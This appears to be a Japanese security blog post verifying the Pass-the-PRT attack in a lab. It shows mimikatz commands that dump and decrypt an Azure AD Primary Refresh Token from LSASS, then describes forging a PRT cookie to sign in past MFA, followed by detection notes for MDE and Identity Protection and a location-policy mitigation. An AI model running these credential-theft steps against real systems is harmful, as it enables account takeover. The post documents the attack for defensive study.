Pass-the-Prt検証

1. はじめに

Pass-the-Prtを検証したので供養。

1.1 Pass-the-Prtとは

一般にラテラルムーブメント(横展開)のテクニックとして、Pass the Hash等のオンプレADに対する攻撃は広く知られているが、端末を掌握した後の追加の攻撃先として、Azure AD(クラウド環境)への攻撃も可能となる。今回、Azure ADへの攻撃としてPass-the-Prtを検証している。

Pass-the-Prtは、侵害された端末から資格情報を窃取して、Azure ADへのサインインを可能とする手法。本手法により条件付きアクセスによって設定されたMFAを回避してサインインすることが可能となる。具体的には下図のPRTを使ったSSOの仕組みを疑似的に再現することによって実現している。

Browser SSO using PRT

Primary Refresh Token (PRT) and Azure AD - Azure Active Directory - Microsoft Entra | Microsoft Docs

2. 環境

2.1 検証環境

被害者端末 Microsoft Windows [Version 10.0.19044.1288] *1
攻撃者端末 Microsoft Windows [Version 6.3.9600]
cloudAP.dll 16AE42F0CD3464FACE1E2A6BDB6A679390473796(SHA1)

2.2 前提条件

被害者端末は、Azure AD 参加(Azure AD joined)している。また条件付きアクセスポリシーを設定してMFAを強制させる。

PS > dsregcmd.exe /status

+----------------------------------------------------------------------+
| Device State                                                         |
+----------------------------------------------------------------------+

             AzureAdJoined : YES
          EnterpriseJoined : NO
              DomainJoined : NO
               Device Name : 31D-VM

(snip)

+----------------------------------------------------------------------+
| SSO State                                                            |
+----------------------------------------------------------------------+

                AzureAdPrt : YES
      AzureAdPrtUpdateTime : 2022-07-08 14:57:17.000 UTC
      AzureAdPrtExpiryTime : 2022-07-22 14:57:43.000 UTC

(snip)

 

 

3. 実践

3.1 PRT(Primary Refresh Token)の取得

mimikatzを用いて、LSASS(CloudAP)から認証情報(PRT)を取得する。

mimikatz # sekurlsa::cloudap

失敗する:(

mimikatz # sekurlsa::cloudap

Authentication Id : 0 ; 311389 (00000000:0004c05d)
Session           : Interactive from 1
User Name         : 二階堂三郷
Domain            : AzureAD
Logon Server      : (null)
Logon Time        : 2022/07/08 23:57:14
SID               : S-1-12-1-2008587506-1339949567-3434574006-142753118
        cloudap :       KO

Authentication Id : 0 ; 311366 (00000000:0004c046)
Session           : Interactive from 1
User Name         : 二階堂三郷
Domain            : AzureAD
Logon Server      : (null)
Logon Time        : 2022/07/08 23:57:14
SID               : S-1-12-1-2008587506-1339949567-3434574006-142753118
        cloudap :       KO

色々試行錯誤した結果、原因はcloudAP!g_LogonSessionListのオフセットがずれていることが原因であった(LUIDのオフセットがずれている)。

そのため、mimikatzのソースコードに手を加えてオフセットを修正してやるとPRTを取得することができる。

mimikatz # sekurlsa::cloudap

Authentication Id : 0 ; 311389 (00000000:0004c05d)
Session           : Interactive from 1
User Name         : 二階堂三郷
Domain            : AzureAD
Logon Server      : (null)
Logon Time        : 2022/07/08 23:57:14
SID               : S-1-12-1-2008587506-1339949567-3434574006-142753118
        cloudap :

Authentication Id : 0 ; 311366 (00000000:0004c046)
Session           : Interactive from 1
User Name         : 二階堂三郷
Domain            : AzureAD
Logon Server      : (null)
Logon Time        : 2022/07/08 23:57:14
SID               : S-1-12-1-2008587506-1339949567-3434574006-142753118
        cloudap :
             Cachedir : 703c3XXXXX
             Key GUID : {e111fe1f-XXXXX}
             PRT      : {"Version":3, "UserInfo":{"Version":2, "UniqueId":"77b89cf2-XXXX", "PrimarySid":"S-1-12-1-XXXX", "DisplayName":"XXXX", "FirstName":"XXXX", "LastName":"XXXXX", "Identity":"misato.nikaido@XXXXX.onmicrosoft.com", "PasswordChangeUrl":"https:\/\/portal.microsoftonline.com\/ChangePassword.aspx", 

(snip)

 

3.2 DPAPIキーを用いて、セッションキー(ProofOfPossesionKey)の復号

mimikatz # token::elevate

mimikatz # dpapi::cloudapkd /keyvalue:[ProofOfPossesionKey] /unprotect

(snip)

3.3 PRT Cookieの作成 & 署名

今回はAADInternalsを利用した。

(snip)

3.4 ブラウザセッションにPRT Cookieを設定する

x-ms-RefreshTokenCredentialにPRT Cookieを設定して、ページを更新する。

3.5 成功:)

MFAを回避してサインインできる。

[Azure ADのサインインログ]

※ 赤枠がPass-the-Prtでのサインイン。

認証の要件 多要素認証
状態 成功
バイス ID バイス登録されているデバイスのデバイスID
追加の詳細 MFA requirement satisfied by claim in the token

4. 検知

Azure AD Identity Protectionを確認してみると検知はしない(原理上できないはず)。ただし、Azure AD Identity Protectionのリスク検出のルール(Possible attempt to access Primary Refresh Token (PRT))としては存在しており、MDE(Microsoft Defender for Endpoint)によって検出可能とのこと。

Risk detection Detection type Description
Possible attempt to access Primary Refresh Token (PRT) Offline This risk detection type is detected by Microsoft Defender for Endpoint (MDE). A Primary Refresh Token (PRT) is a key artifact of Azure AD authentication on Windows 10, Windows Server 2016, and later versions, iOS, and Android devices. A PRT is a JSON Web Token (JWT) that's specially issued to Microsoft first-party token brokers to enable single sign-on (SSO) across the applications used on those devices. Attackers can attempt to access this resource to move laterally into an organization or perform credential theft. This detection will move users to high risk and will only fire in organizations that have deployed MDE. This detection is low-volume and will be seen infrequently by most organizations. However, when it does occur it's high risk and users should be remediated.

What is risk? Azure AD Identity Protection - Microsoft Entra | Microsoft Docs

ということで、被害者端末にMDEをオンボーディングしてみる。

オンボーディングした端末で、同じ手順で試してみるとおなじみのアラート。

一方で今回Azure AD Identity Protectionでは検知アラートを出すことができませんでした:(

※ 検知しなかった要因としては検証環境で実施した影響の可能性があります。Azure AD Identity Protectionには機械学習モデルの学習期間が必要な検出ルールが存在することは公式ドキュメントに記載されているので、本番環境で試行すると検出するかも。

また本来エンドポイント上で検知すべき事象なので、MDEのアラートを検知→Azure ADサインインログもあわせて確認を実施するというフローが、現実的なのだろうなと思います(そもそもMDE使わないと検知できない)。

5. 所感

今回はクラウド環境への攻撃を検証してみました。mimikatzをエンドポイントで検知した場合、MDEやMDI(Microsoft Defender for Identity)等でドメイン環境のログを確認することに注力しがちなのですが、クラウド環境への攻撃も可能であるということを確認できました。

またMDEでエンドポイント環境は監視しているが、Azure AD Identity Protectionを用いたID監視はしていないみたいな環境もあるかもしれませんので、セキュリティ監視の項目として検討してみるのはいいかもしれません。

6. 補足

条件付きアクセス(場所)ポリシーを設定することにより、該当地域以外からのPass-the-Prtでのサインインは失敗します。

認証の要件 多要素認証
状態 失敗
バイス ID バイス登録されているデバイスのデバイスID
エラーの理由     Access has been blocked by Conditional Access policies. The access policy does not allow token issuance.

7. 参考文献

docs.microsoft.com

github.com

github.com

*1:TPMは有効化されていない